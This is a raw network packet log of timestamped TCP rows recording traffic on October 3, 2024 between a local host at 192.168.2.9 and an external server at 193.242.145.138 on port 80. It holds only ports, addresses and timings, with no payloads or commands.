Oct 3, 2024 09:20:35.142550945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142555952 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.142564058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142575026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142585993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142586946 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.142599106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.142617941 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.142641068 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.143013000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143024921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143035889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143050909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143052101 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.143064976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143076897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143079042 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.143089056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143100977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143105030 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.143112898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143124104 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143135071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143140078 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.143146992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143158913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143166065 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.143223047 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.143951893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143965006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143975973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143986940 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.143999100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144007921 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144009113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144022942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144031048 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144036055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144046068 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144048929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144062042 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144073963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144081116 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144084930 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144097090 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144104004 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144109011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144135952 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144160032 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144781113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144793987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144805908 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144818068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144829035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144834042 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144841909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.144857883 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.144876003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.225152969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225172043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225184917 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225224018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225234985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225245953 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225244999 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.225256920 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225294113 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.225447893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225482941 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.225538969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225550890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225562096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225574017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225584984 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.225610971 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.225779057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225790977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225801945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225811005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.225836992 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.225858927 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.226013899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226027012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226037979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226048946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226066113 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.226089954 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.226238966 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226250887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226262093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226285934 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.226310015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226320982 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226330996 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226341963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226351023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226361990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226363897 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.226381063 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.226398945 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.226840019 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226881981 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.226958990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226973057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226984024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.226993084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227005959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227009058 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227029085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227030993 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227041006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227051020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227061033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227075100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227094889 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227366924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227404118 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227536917 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227550030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227560043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227571964 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227583885 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227591991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227597952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227608919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227618933 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227619886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227632046 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227632999 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227643013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227655888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227664948 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227665901 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227678061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227689981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.227699995 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.227727890 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.228533030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228549957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228563070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228576899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228586912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228599072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228600025 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.228610039 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228620052 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228631020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228632927 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.228641987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228652000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228658915 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.228662968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228673935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228677034 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.228686094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.228694916 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.228724957 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.229449987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229466915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229476929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229481936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229492903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229504108 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229513884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229518890 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.229523897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229536057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229547024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229553938 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.229558945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229567051 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.229571104 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229582071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229584932 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.229588032 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.229615927 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.229626894 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.230350018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230369091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230380058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230390072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230401039 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230412960 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230422974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230426073 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.230433941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230446100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230451107 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.230451107 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.230460882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230473042 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230473042 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.230485916 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230496883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230498075 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.230509043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.230519056 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.230556965 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.231287003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231307030 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231317997 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231333017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231343031 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231353045 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231353998 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.231364965 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231378078 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231379986 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.231403112 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.231406927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231420040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231429100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.231430054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231441975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231452942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231458902 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.231465101 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.231486082 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.232125998 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.232142925 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.232155085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.232167006 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.232177973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.232188940 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.232198954 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.232201099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.232213974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.232223034 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.232259035 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.263906956 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.312768936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.312807083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.312817097 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.312876940 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.312937975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.312948942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.312959909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.312966108 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.312984943 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313039064 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313100100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313149929 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313220978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313231945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313237906 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313247919 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313261032 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313277006 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313308001 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313467026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313482046 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313507080 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313560963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313606024 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313636065 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313647032 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313657045 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313668013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313684940 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313698053 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313885927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313898087 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313909054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313914061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313919067 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313927889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313939095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313946009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313956976 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313958883 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.313975096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.313983917 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314019918 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314358950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314369917 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314421892 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314470053 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314482927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314492941 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314497948 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314507961 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314532995 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314697981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314740896 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314830065 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314841986 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314851046 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314862013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314872026 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314877033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314882994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314893961 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314904928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314912081 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314914942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314928055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314930916 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314939022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.314950943 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314968109 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.314969063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315016985 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.315587997 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315599918 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315609932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315619946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315629959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315639019 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.315643072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315654993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315665007 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.315675974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315685987 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.315690041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315701008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315711021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315716982 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.315721989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315726995 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.315733910 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315745115 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315754890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315757036 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.315763950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.315778017 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.315809965 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.316483021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316493988 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316504002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316514015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316526890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316536903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.316536903 CEST	49706	80	192.168.2.9	193.242.145.138
